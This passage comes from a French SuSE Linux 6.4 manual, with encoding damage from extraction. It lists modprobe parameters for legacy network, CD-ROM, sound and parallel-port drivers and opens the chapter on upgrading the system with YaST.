Exemple : modprobe depca io=0x300 irq=10
~ EtherWORKS 3 (DE203, DE204, DE205), cartes rΘseau
Nom du module : ewrk3.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Exemple : modprobe ewrk3 io=0x300 irq=10
~ Intel EtherExpress 16, carte rΘseau
386
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
Nom du module : eexpress.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe eexpress io=0x300 irq=10
~ Intel EtherExpressPro, carte rΘseau
Nom du module : eepro.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
||__mem_______________<|addr>________|__
Exemple : modprobe eepro io=0x300 irq=10 mem=0xd000
~ Intel EtherExpressPro 100, carte rΘseau
Nom du module : eepro100.o
La carte Intel EtherExpressPro inclut les puces i82557/i82558 .
___________________________________________________________________________________
||__ParamΦtres__|_____Valeurs_________________________________________________|_____
|| options <|Fonctionnement en duplex et> |
|| <|Transceiver bus> |
|| 1|6 Full-duplex |
|| 3|2 Seulement en mode 100 Mbits |
||____________________6|4__Seulement_en_mode_10_Mbits____________|_________________
Exemple : modprobe eepro100 options=48
On configure ainsi simultanΘment Full-duplex et mode 100Mbits (48 =
32 + 16).
~ Fujitsu FMV-181/182/183/184, cartes rΘseau
Nom du module : fmv18x.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe fmv18x io=0x300 irq=10
~ HP PCLAN+ (27247B and 27252A), carte rΘseau
Nom du module : hp-plus.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe hp-plus io=0x300 irq=10
*
* 387
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
~ HP PCLAN (27245 / 27xxx)
Nom du module : hp.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Exemple : modprobe hp io=0x300 irq=10
~ HP 10/100 VG-AnyLAN (ISA, EISA, PCI), cartes rΘseau
Nom du module : hp100.o
__________________________________________
|__ParamΦtres_____|_______Valeurs_____|____
|__hp100_port____________|<addr>_________|_
Exemple : modprobe hp100 hp100_port=0x300
~ ICL EtherTeam 16i / 32, cartes rΘseau
Nom du module : eth16i.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Exemple : modprobe eth16i io=0x300 irq=10
~ Novell NE2000 / NE1000, cartes rΘseau
Nom du module : ne.o
__________________________________________________________________________________________
|__ParamΦtres__|_______Valeurs_________________________________________________________|___
| io |<addr> |
| irq |<irq> |
|__bad________________|bad___,_seulement_si_la_carte_n'est_pas_reconnue__|________________
Exemple : modprobe ne io=0x300 irq=10
~ NI6510 (AM7990, puce ``lance''), carte rΘseau
Nom du module : ni65.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
| irq |<irq> |
|__dma________________|<dma>__________|_
Exemple : modprobe ni65 io=0x300 irq=10
~ SMC Ultra, carte rΘseau
Nom du module : smc-ultra.o
388
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe smc-ultra io=0x300 irq=10
~ SMC 9194, carte rΘseau
Nom du module : smc9194.o
___________________________________________
||__ParamΦtres__|_____Valeurs_________|_____
|| io <|addr> |
|| irq <|irq> |
||__if_port___________<|medium>__________|_
____________________________________________________________
||__Variable_______|___Valeurs_/_Signification__|____________
|| <medium> 0| auto |
|| 1| TP |
||_____________________2|_AUI,_10base2____________|_________
Exemple : modprobe smc9194 io=0x300 irq=10 if_port=2
~ Western Digital, carte rΘseau WD80x3
Nom du module : wd.o
_____________________________________________
||__ParamΦtres__|_____Valeurs__________|______
|| io <|addr> |
|| irq <|irq> |
|| mem <|mem> |
||__mem_end___________<|mem_end>___________|_
Exemple : modprobe wd io=0x300 irq=10
~ IBM Tropic chipset Token Ring, carte rΘseau
Nom du module : ibmtr.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__io________________<|addr>________|__
Exemple : modprobe ibmtr io=0x300
~ D-Link DE620 pocket adaptor, carte rΘseau
Nom du module : de620.o
________________________________________________________________________________________________
||__ParamΦtres__|_____Valeurs_____________________________________________________________|______
|| io <|addr> |
|| irq <|irq> |
|| bnc 1| si EntrΘe/Sortie BNC |
|| utp 1| si EntrΘe/Sortie BNC |
||__clone_____________1|_si_le_pΘripherique_est_de_construction_similaire__|____________________
Exemple : modprobe de620 io=0x300 irq=10 bnc=1 utp=0
*
* 389
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Lecteurs de CD-ROM propriΘtaires
Lecteurs de Les paramΦtres suivants concernent les lecteurs de CD-ROM connectΘs α des
CD-ROM contr⌠leurs particuliers. Qui possΦde une telle ``piΦce de musΘe'' ne l'ignore
propriΘtaires s√rement pas : : :
~ Aztech, lecteur de CD-ROM CDA268-01
Nom du module : aztcd.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
|__aztcd______________|<addr>_________|_
Exemple : modprobe aztcd aztcd=0x300
~ Goldstar, lecteur de CD-ROM R420
Nom du module : gscd.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
|__gscd_______________|<addr>_________|_
Exemple : modprobe gscd gscd=0x300
~ Mitsumi, lecteur de CD-ROM
Nom du module : mcd.o
mcd=<addr>,<irq>[,<attente>]
_____________________________________________________________________________________________
|__Variable_________|_____Valeurs_/_Signification__________________________________|__________
|__<attente>____________|_Valeur_pour_le_temps_d'attente_au_dΘmarrage__|_____________________
On peut faire varier le paramΦtre <attente> dans une marge situΘe
entre 0 et 10 si le lecteur de CD-ROM a une rΘaction trop lente aux
demandes du systΦme ("timeout"). Ceci peut avoir Θventuellement pour
consΘquence que l'image de root n'est pas dΘtectΘe pendant l'installation.
Exemple : modprobe mcd mcd=0x300,10,5
~ Mitsumi, lecteur de CD-ROM (multisession)
Nom du module : mcdx.o
mcdx=<addr>,<irq>[,<addr>,<irq>]
Pour plusieurs pilotes, on peut rΘpΘter jusqu'α quatre fois fois le couple
de paramΦtres <addr>, <irq>.
~ Carte son Mozart avec interface pour lecteurs de CD-ROM
Nom du module : isp16.o
isp16_cdrom_base=<addr>
isp16_cdrom_irq=<irq> isp16_cdrom_dma=<dma>
isp16_cdrom_type=<typ>
____________________________________________________________________________
|__Variable____|____Valeurs_/_Signification_______________________|__________
|__<type>__________|Sanyo_____,_Panasonic________,_Sony____,_Mitsumi________ |
390
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
Ce pilote n'est pas un vΘritable pilote de CD-ROM ; il prend seulement
en charge la configuration d'interface des lecteurs de CD-ROM connectΘs
α une carte son ISP16 , MAD16 ou Mozart . AprΦs le chargement de ce
pilote, seule l'interface correspondante est configurΘe. Le pilote de CD-
ROM adΘquat doit ensuite Ωtre chargΘ additionnellement. La valeur pour
la variable <type> dΘpend du connecteur auquel le cΓble du CD-ROM
est branchΘ sur la carte son.
Exemple : modprobe isp16 isp16=0x300,10,1,sony
Exemple : modprobe isp16 isp16_cdrom_base=0x300
isp16_cdrom_irq=10 isp16_cdrom_dma=1
isp16_cdrom_type=sony
~ Optics Storage 8000 AT, lecteur de CD-ROM
Nom du module : optcd.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__optcd_____________<|addr>________|__
Exemple : modprobe optcd optcd=0x300
~ Philips, lecteur de CD-ROM CM 206
Nom du module : cm206.o
cm206=<addr>,<irq>
Exemple : modprobe cm206 cm206=0x300,10
~ Sanyo, lecteur de CD-ROM
Nom du module : sjcd.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__sjcd______________<|addr>________|__
Exemple : modprobe sjcd sjcd=0x300
~ Sony CDU 31/33 A
Nom du module : cdu31a.o
_____________________________________________
||__ParamΦtres_______|_____Valeurs_____|______
|| cdu31a_port |<addr> |
||__cdu31a_irq_____________|<irq>_________|__
Exemple : modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10
~ Sony CDU 535
Nom du module : sonycd535.o
_________________________________________
||__ParamΦtres___|_____Valeurs_____|______
||__sonycd535__________<|addr>________|__
Exemple : modprobe sonycd535 sonycd535=0x300
*
* 391
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
~ Soundblaster Pro 16 MultiCD
Nom du module : sbpcd.o
sbpcd=<addr>,<type>
<type> peut avoir ici les valeurs suivantes :
______________________________________________________
|__Variable__|_____Valeurs_/_Signification__|__________
| 0 | LaserMate |
| 1 | SoundBlaster |
| 2 | SoundScape |
|__3_____________|_Teac16bit_________________________|_
Exemple : modprobe sbpcd sbpcd=0x300,0
Cartes son et chipsets son
Le son Depuis le noyau 2.2.xx, le support son est compilΘ sous forme de module et
peut Ωtre influencΘ par de nombreux paramΦtres.
~ AD1816, chip
Nom du module : ad1816.o
Sont, entre autres, supportΘs : TerraTec Base 1, TerraTec Base 64, HP
Kayak, Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D
_______________________________________________________________
|__ParamΦtres_________________|______Valeurs______________|_____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma2 |<dma2> |
|__ad1816_clockfreq_________________|<clockfreq>______________|_
Exemple : modprobe ad1816 io=0x530 irq=5 dma=1
dma2=3 ad1816_clockfreq=33000
~ AD1848/CS4248, chip (MSS)
Nom du module : ad1848.o
_________________________________________________
|__ParamΦtres_____|_______Valeurs____________|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma2 |<dma2> |
| type |<cardtype> |
|__deskpro_xl____________|<magic>________________|
~ Pilote gΘnΘrique OPLx
Nom du module : adlib_card.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
|__io_________________|<addr>_________|_
Exemple : modprobe adlib_card io=0x330
392
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
~ Crystal 423x, chipsets
Nom du module : cs4232.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
||__dma2______________<|dma2>________|__
Exemple : modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3
~ Ensoniq 1370, chipset
Nom du module : es1370.o
Voir aussi PCI64/128.
______________________________________________________________________
||__ParamΦtres__|_____Valeurs___________________________________|______
|| joystick 1| : activer le joystick |
|| lineout 1| : passer de line-in α line-out |
||__micz______________I|mpΘdance_du_microphone_______|________________
Exemple : modprobe es1370 joystick=1 lineout=1
~ Creative Ensoniq 1371, chipset
Nom du module : es1371.o
Vgl. auch PCI64/128.
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__joystick__________<|addr>________|__
Des valeurs valides pour <addr> sont 0x200 , 0x208 , 0x210 et 0x218 .
Exemple : modprobe es1371 joystick=0x200
~ Gravis Ultrasound
Nom du module : gus.o
______________________________________________
||__ParamΦtres_______|_____Valeurs_______|_____
|| io |<addr> |
|| irq |<irq> |
|| dma |<dma> |
|| dma16 |<dma16> |
|| type | |
|| gus16 | |
|| no_wave_dma | |
||__db16___________________|________________|_
~ MAD16
Nom du module : mad16.o
*
* 393
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Supporte OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930
et OPTi 82C924.
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
|__dma16______________|<dma2>_________|_
Exemple : modprobe mad16 io=0x530 irq=7 dma=0 dma16=1
~ Turtle Beach Maui et Tropez
Nom du module : maui.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Exemple : modprobe maui io=0x530 irq=5
~ MPU401
Nom du module : mpu401.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
|__io_________________|<addr>_________|_
Exemple : modprobe mpu401 io=0x330
~ Turtle Beach MultiSound
Nom du module : msnd.o
Exemple : modprobe msnd
~ Turtle Beach Classic/Monterey/Tahiti
Nom du module : msnd_classic.o
_____________________________________________________
|__ParamΦtres_________________|______Valeurs_____|____
| io |<addr> |
| irq |<irq> |
| mem | |
| write_ndelay | |
| major | |
| fifosize | |
|__calibrate_signal_________________|________________|
Exemple : modprobe msnd_classic io=0x290 irq=7 mem=0xd0000
~ Turtle Beach Pinnacle/Fiji
Nom du module : msnd_pinnacle.o
394
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
En plus des paramΦtres de Turtle Beach Classic/Monterey/Tahiti (para-
graphe 14.3.4 page prΘcΘdente), cette carte supporte aussi :
__________________________________________
||__ParamΦtres_______|_____Valeurs__|______
|| digital | |
|| cfg | |
|| reset | |
|| mpu_io | |
|| mpu_irq | |
|| ide_io0 | |
|| ide_io1 | |
|| ide_irq | |
||__joystick_io____________|____________|_
Exemple : modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5
mem=0xd0000
~ OPL3
Nom du module : opl3.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__io________________<|addr>________|__
Exemple : modprobe opl3 io=0x388
~ OPL3-SA1
Nom du module : opl3sa.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| mpu_io <|addr> |
||__mpu_irq___________<|irq>_________|__
Exemple : modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1
mpu_io=0x330 mpu_irq=5
~ YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx
Nom du module : opl3sa2.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| mss_io <|addr> |
||__mpu_io____________<|addr>________|__
*
* 395
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Exemple : modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3
mss_io=0x530 mpu_io=0x330
~ Pro Audio Spectrum
Nom du module : pas2.o
_______________________________________________________
|__ParamΦtres_________________|______Valeurs_______|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma16 |<dma16> |
| sb_io |<addr> |
| sb_irq |<irq> |
| sb_dma |<dma> |
| sb_dma16 |<dma16> |
| joystick | |
| symphony | |
| broken_bus_clock | |
|___________________________________|__________________|
~ Personal Sound System (ECHO ESC614)
Nom du module : pss.o
_________________________________________________
|__ParamΦtres___|_______Valeurs______________|____
| pss_io |<addr> |
| mss_io |<addr> |
| mss_irq |<irq> |
| mss_dma |<dma> |
| mpu_io |<addr> |
| mpu_irq |<irq> |
|__pss_mixer___________|1__(activer)_ou_0___|____
~ Sound Blaster et clones
Nom du module : sb.o
__________________________________________________________________________
|__ParamΦtres___|_______Valeurs_______________________________________|____
| io |<addr> |
| irq |<irq> |
| dma |<dma> |
| dma16 |<dma16> |
| mpu_io |<addr> |
| mad16 |1 (activer) |
| trix |1 (activer) |
| pas2 |1 (activer) |
| sm_games |1 (activer) |
| acer |1 (activer), avec notebooks Acer |
|__mwave_bug___________|1__(activer)___________________________________|__
Exemple : modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330
396
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
~ Aztech Sound Galaxy
Nom du module : sgalaxy.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
||__sgbase_____________|_____________|__
~ S3 Sonic Vibes
Nom du module : sonicvibes.o
Aucun paramΦtre.
~ Ensoniq SoundScape
Nom du module : sscape.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| mss | |
|| mpu_io <|addr> |
|| mpu_irq <|irq> |
||__spea______________1|_____________|__
~ MediaTrix AudioTrix Pro
Nom du module : trix.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
|| irq <|irq> |
|| dma <|dma> |
|| dma2 <|dma2> |
|| sb_io <|addr> |
|| sb_irq <|irq> |
|| sb_dma <|dma> |
|| mpu_io <|addr> |
||__mpu_irq___________<|irq>_________|__
~ UART401
Nom du module : uart401.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
|| io <|addr> |
||__irq_______________<|irq>_________|__
Exemple : modprobe io=0x330 irq=9
*
* 397
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
~ UART6850
Nom du module : uart6850.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
~ Chipsets carte son DSP
Nom du module : v_midi.o
Aucun paramΦtre.
~ Turtle Beach Maui, Tropez, Tropez Plus
Nom du module : wavefront.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Exemple : modprobe wavefront io=0x200 irq=9
Les ports parallΦles
Port parallΦle L'utilisation des ports parallΦles est assez complexe. AprΦs la configuration,
vous avez un sous-systΦme α disposition (voir paragraphe 10.4.3 page 307).
~ Port parallΦle
Nom du module : parport.o
Exemple : modprobe parport
~ Port parallΦle ~ Architecture spΘcifique
Nom du module : parport_pc.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
| io |<addr> |
|__irq________________|<irq>__________|_
Pour installer par exemple 3 ports en style PC, ayant respectivement
l'adresse 0x3bc sans IRQ, l'adresse 0x378 avec IRQ 7 et l'adresse 0x278
avec IRQ dΘtectΘ automatiquement, vous tapez (en une seule ligne !) :
Exemple : modprobe parport_pc io=0x3bc,0x378,0x278
irq=none,7,auto
~ Pilote d'imprimante
Nom du module : lp.o
_______________________________________
|__ParamΦtres__|_______Valeurs_____|____
|__parport____________|<port>_________|_
Exemple : modprobe lp parport=0,2
398
__________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
*____________________
~ PΘriphΘriques IDE sur port parallΦle
Nom du module : paride.o
Si vous voulez utiliser des chaεnes de pΘriphΘriques Paride sur un port
parallΦle, il vous faudra tout d'abord charger parport.o (voir para-
graphe 14.3.4 page prΘcΘdente) !
Exemple : modprobe paride
Le port parallΦle devrait si possible Ωtre utilisΘ en ``mode EPP''. Configurer
donc ce mode dans le + BIOS de votre machine.
~ Pilotes de protocoles IDE de bas niveau sur port parallΦle
Nom du module : <xxxx>.o
______________________________________________________________________________________________
|__Protocole__|______PΘriphΘrique_____________________________________________________________|_
|__aten____________|_ATEN_EH-100____________________________________________________(HK)___|__
|__bpck____________|_Microsolutions_backpack________________________________________(US)___|__
|__comm____________|_DataStor_(old-type)_÷c_mmuterΣ__dapter_________________________(TW)__|___
|__dstr____________|_DataStor_EP-2000_______________________________________________(TW)__|___
|__epat____________|_Shuttle_EPAT___________________________________________________(UK)___|__
|__epia____________|_Shuttle_EPIA___________________________________________________(UK)___|__
|__fit2____________|_FIT_TD-2000____________________________________________________(US)___|__
|__fit3____________|_FIT_TD-3000____________________________________________________(US)___|__
|__friq____________|_Freecom_IQ_cable_______________________________________________(DE)___|__
|__frpw____________|_Freecom_Power__________________________________________________(DE)___|__
|__kbic____________|_KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___
|__ktti____________|_KT_Technology_PHd_adapter______________________________________(SG)___|__
|__on20____________|_OnSpec_90c20___________________________________________________(US)___|__
|__on26____________|_OnSpec_90c26___________________________________________________(US)___|__
Exemple : modprobe epat
~ Disque dur IDE sur port parallΦle
Nom du module : pd.o
________________________________________
||__ParamΦtres__|_____Valeurs_____|______
||__verbose___________<|wert>________|__
Chargez tout d'abord parport et le pilote de bas niveau (voir para-
graphe 14.3.4).
Exemple : modprobe pd verbose=1
~ CD-ROM ATAPI sur port parallΦle
Nom du module : pcd.o
Chargez tout d'abord parport et le pilote de bas niveau (voir para-
graphe 14.3.4).
Exemple : modprobe pcd
~ Lecteur de disquettes ATAPI sur port parallΦle
*
* 399
14. ParamΦtres du_noyau___________________________________________________________________________________________________________*
*_______________________________________@
Nom du module : pf.o
Chargez tout d'abord parport et le pilote de bas niveau (voir para-
graphe 14.3.4 page prΘcΘdente).
Exemple : modprobe pf
~ Lecteur de bandes ATAPI sur port parallΦle
Nom du module : pt.o
Chargez tout d'abord parport et le pilote de bas niveau (voir para-
graphe 14.3.4 page prΘcΘdente).
Exemple : modprobe pt
~ PΘriphΘrique gΘnΘrique ATAPI sur port parallΦle
Nom du module : pg.o
Chargez tout d'abord parport et le pilote de bas niveau (voir para-
graphe 14.3.4 page prΘcΘdente).
Exemple : modprobe pg
400
SeptiΦme partie
SuSE Linux : Mise α jour et
particularitΘs
*
* 401
Chapitre 15
Mise α jour du systΦme et gestion
des paquetages
15.1 Mise α jour de SuSE Linux
SuSE Linux vous offre la possibilitΘ d'actualiser un systΦme dΘjα existant sans
avoir α procΘder α une nouvelle installation complΦte. Il faut toutefois faire
une diffΘrence entre l'actualisation de paquetages dΘterminΘs et une mise α
jour complΦte du systΦme.
Il est bien connu que les logiciels ``s'accroissent'' de version en version. Pour
cette raison il est conseillΘ de vΘrifier, α l'aide de df , la place dΘjα occupΘe sur
les diffΘrentes partitions avant d'effectuer la mise α jour. Si vous avez l'im-
pression que cela risque d'Ωtre un peu trop juste, vous devrez absolument faire
exΘcuter une sauvegarde et repartitionner votre disque. Il n'est pas possible
de donner une indication d'ordre gΘnΘral au sujet de l'espace disque nΘcessitΘ
dans chaque cas ~ cela dΘpend du partitionnement qui a dΘjα ΘtΘ fait et des
logiciels sΘlectionnΘs ainsi que de la version α partir de laquelle vous passez
α SuSE Linux 6.4.
_______________________________________________________________________________________________________________________||
|||||||| Il est recommandable de lire le fichier README ou, sous DOS/Windows, ||| |
|||||||| le fichier README.DOS. Nous y notons les modifications qui sont venues || |
|||||||| || |
|||||||| s'ajouter aprΦs la mise sous presse du manuel ! || |
||||||||_______________________________________________________________________________________________________________||_
15.1.1 Travaux prΘliminaires
Avant le dΘbut d'une mise α jour, il conviendrait, pour plus de sΘcuritΘ, de
copier les anciens fichiers de configuration sur un support sΘparΘ (lecteur de
bandes, disque amovible, disquettes, lecteur ZIP). Il s'agit en tout premier
lieu des fichiers contenus dans /etc. Par ailleurs, les fichiers de configuration
situΘs au dessous de /var/lib devront aussi Ωtre contr⌠lΘs (par exemple
pour les news ou XDM ). Il pourraient en outre s'avΘrer utile de copier les
donnΘes utilisateur actuelles contenues dans /home (le rΘpertoire personnel
de l'utilisateur) sur un support de sauvegarde.
Avant de commencer la procΘdure de mise α jour, notez le nom de votre
partition racine (root). En lanτant la commande
terre: # df /
*
* 403
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
vous pourrez connaεtre le nom de pΘriphΘrique de cette partition. Dans ce
cas, la partition racine dont vous devez noter le nom serait /dev/sda3 ; voir
l'affichage 15.1.1.
________________________________________________________________________________________________________*
*________||
| Filesystem 1024-blocks Used Available Capacity Mounted on *
* |
| *
* |
| /dev/sda3 4167999 3253471 698856 82% / *
* |
| /dev/sda1 7496 1311 5785 18% /boot *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 15.1.1: Vue d'ensemble avec df
L'affichage montre que la partition /dev/sda3 est montΘe sous / dans le
systΦme de fichiers.
________________________________________________________________________________________________________*
*________||
| Avant une mise α jour de PostgreSQL (paquetage postgres), il est *
* ||||
| conseillΘ, en rΦgle gΘnΘrale, de procΘder α un ``vidage'' (angl. dump) de *
* |||
| *
* |||
| la base de donnΘes ; voir page de man de pg_dump (man pg_dump ). Ceci *
* |||
| n'est bien s√r nΘcessaire qui si vous avez effectivement utilisΘ PostgreSQL *
* |||
| *
* |||
| avant la mise α jour. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Maintenant, vous devez dΘcider si vous voulez effectuer la mise α jour avec le
programme YaST1 en mode texte ou avec YaST2 en mode graphique. Cette
dΘcision est trΦs simple : Si vous voulez mettre α jour un systΦme SuSE Linux
antΘrieur α la version 6.0, vous devez choisir YaST1 et procΘder ainsi qu'il
est dΘcrit au paragraphe 15.1.3. La version 6.0 ou une version plus rΘcente
peut Ωtre mise α jour avec YaST2 .
15.1.2 Mise α jour avec YaST2
AprΦs les travaux prΘliminaires mentionnΘs au paragraphe 15.1.1 page prΘcΘ-
dente, amorcez comme il est dΘcrit au chapitre sur l'installation 2.1 page 15.
________________________________________________________________________________________________________*
*________||
| Vous ne pouvez effectuer une mise α jour avec YaST2 qu'α partir d'une *
* ||||
| version SuSE Linux 6.x. Pour des versions plus anciennes (par exemple *
* |||
| *
* |||
| SuSE Linux 5.3), vous devez utiliser YaST1 . Voir paragraphe 15.1.3. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous Ωtes arrivΘ au paragraphe 2.1.7 page 19, sΘlectionnez l'option `Mise
α jour'.
15.1.3 Mise α jour avec YaST1
Mise α jour du systΦme de base
Comme au cours de l'actualisaton du systΦme de base les composants cen-
traux (par exemple les bibliothΦques) doivent Ωtre ΘchangΘs, il n'est pas pos-
sible d'effectuer cette opΘration pendant une exΘcution normale, c'est-α-dire
α partir d'un systΦme Linux qui tourne dΘjα.
Vous devez donc dΘmarrer l'environnement de mise α jour ~ en cas normal
avec la disquette fournie (disquette d'amorτage) ou directement en entrant
404
_________________________________________________________________________________15.1.__Mise_α_jour_de_SuSE______Linux______*
*______________________
manuel α l'invite d'amorτage du noyau ainsi qu'il est dΘcrit de faτon dΘtaillΘe
au paragraphe 2.2.1 page 28.
Il s'agit essentiellement des Θtapes suivantes :
1. Tout de suite aprΦs l'amorτage du noyau α partir de la disquette d'amor-
τage ou du CD de mise α jour, linuxrc sera lancΘ automatiquement.
2. Dans linuxrc il faudra alors, sous l'option du menu `Configurations',
spΘcifier la langue, l'Θcran ainsi que le clavier et valider avec `Ok'.
3. Sous l'option du menu `Modules du noyau', les pilotes matΘriels nΘ-
cessaires doivent maintenant Ωtre chargΘs (pour savoir exactement com-
ment procΘder, reportez-vous α la description de linuxrc α la page 430).
4. Vous pourrez, par les options du menu `DΘmarrer l'installation /
le systΦme' et `DΘmarrer l'installation', passer α la sΘlection
du support source (voir page 432).
5. Ensuite linuxrc chargera l'environnement de l'installation et ~ ainsi que
vous l'avez choisi ~ YaST sera lancΘ.
Dans le menu d'entrΘe de YaST , sΘlectionnez l'option `Mise α jour du
systΦme Linux existant'. YaST tentera alors de dΘtecter la partition ra-
cine et vous prΘsentera le rΘsultat afin que vous fassiez un choix ou que vous
validiez. Dans la liste affichΘe, vous spΘcifierez votre partition racine qui est
celle que vous avez notΘe prΘcΘdemment (Exemple : /dev/sda3). Ainsi, vous
chargez YaST de lire le contenu du ``vieux'' fstab situΘ sur cette partition ;
YaST monte alors les systΦmes de fichiers qui y sont inscrits. SΘlectionnez
ensuite `Continuer'.
Lorsque vous serez revenu au menu principal avec |╔________|chap, ce sera au tour de
l'option `Mettre α jour le systΦme' (voir paragraphe 3.2 page 82). Le
systΦme que vous aviez jusqu'α prΘsent sera analysΘ par YaST et le rΘsultat
de l'analyse sera affichΘ.
Ensuite, les composants centraux de votre systΦme seront actualisΘs et au
cours de cette opΘration, YaST fera automatiquement une sauvegarde des
fichiers que vous avez modifiΘs depuis la derniΦre installation. Par ailleurs,
les vieux fichiers de configuration seront sauvegardΘs, le cas ΘchΘant, avec
l'extension .rpmorig ou .rpmsave (voir paragraphe 15.3.1 page 416). Il
sera fait dans /var/adm/inst-log/installation-* un protocole de la
procΘdure d'installation qui pourra Ωtre relu α tout moment.
Mise α jour du reste du systΦme
Une fois le systΦme de base actualisΘ, vous arriverez dans un mode spΘcial
de mise α jour de YaST . Vous pourrez mettre α jour le reste du systΦme de la
maniΦre que vous souhaitez.
YaST Θtablit deux listes dans lesquelles il vous sera proposΘ les paquetages
pour lesquels YaST peut reconnaεtre de faτon autonome s'il est utile et pos-
sible de procΘder α une mise α jour - dans le cas, par exemple, o∙ un paque-
tage dΘpendant aurait subi une modification, ou si le nouveau paquetage a
un numΘro de version supΘrieur. Dans la deuxiΦme liste, il vous sera montrΘ
les paquetages pour lesquels cela prΘsente des difficultΘs - dans le cas, par
*
* 405
15. Mise α jour du_systΦme_et_gestion_des_paquetages______________________________________________________________________________*
*_______________________________________@
exemple, o∙ l'ancien paquetage aurait ΘtΘ stockΘ sans information concernant
sa version.
Dans ces deux listes, vous pourrez sΘlectionner ou dΘsΘlectionner α votre grΘ
les paquetages proposΘs pour la mise α jour. Lorsque vous dΘmarrerez la mise
α jour, les paquetages sΘlectionnΘs seront remplacΘs par la nouvelle version
correspondante et il sera fait Θgalement une sauvegarde de tous les fichiers
que vous avez modifiΘs depuis la derniΦre installation.
Lorsque cette opΘration sera effectuΘe, vous devrez terminer la procΘdure
comme pour une premiΦre installation normale. Vous devriez, entre autre,
sΘlectionner un nouveau noyau ; YaST vous proposera cette option.
________________________________________________________________________________________________________*
*________||
| Si vous avez l'habitude d'amorcer avec loadlin , vous devez bien s√r co- *
* ||||
| pier le nouveau noyau et Θventuellement votre initrd dans le rΘpertoire *
* |||
| *
* |||
| loadlin de votre partition DOS ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous ne voulez pas qu'aprΦs la mise α jour, lorsque le systΦme sera revenu
dans son mode de fonctionnement normal (runlevel standard, voir page 446),
